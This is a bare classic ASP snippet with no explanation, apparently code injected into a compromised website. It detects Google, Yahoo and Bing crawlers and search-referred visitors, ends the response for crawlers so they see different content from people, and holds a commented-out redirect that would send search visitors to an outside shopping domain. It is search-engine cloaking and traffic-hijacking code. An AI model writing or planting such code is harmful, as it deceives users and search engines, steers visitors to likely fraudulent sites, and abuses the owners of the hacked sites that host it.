<% On Error Resume Next Function getAgent() Dim a,b,spider_array,i a=LCase(Request.ServerVariables("HTTP_USER_AGENT")) b=LCase(Request.ServerVariables("HTTP_FROM")) spider_array=array("google","yahoo","bing") getAgent=False For i=0 To ubound(spider_array) If Instr(a,spider_array(i))>0 And Instr(b,spider_array(i))>0 Then getAgent=True Next End Function Function getReferrer() Dim page_from,search_array,i page_from=LCase(Request.ServerVariables("HTTP_REFERER")) search_array=array("google","yahoo","bing") getReferrer=False For i=0 To Ubound(search_array) If Instr(page_from,search_array(i))>0 Then getReferrer=True Next End Function If getReferrer Then 'Response.Redirect("http://www.timberlandzone.com/#domain") 'Response.End End If If getAgent Then %> <% Response.End End If %>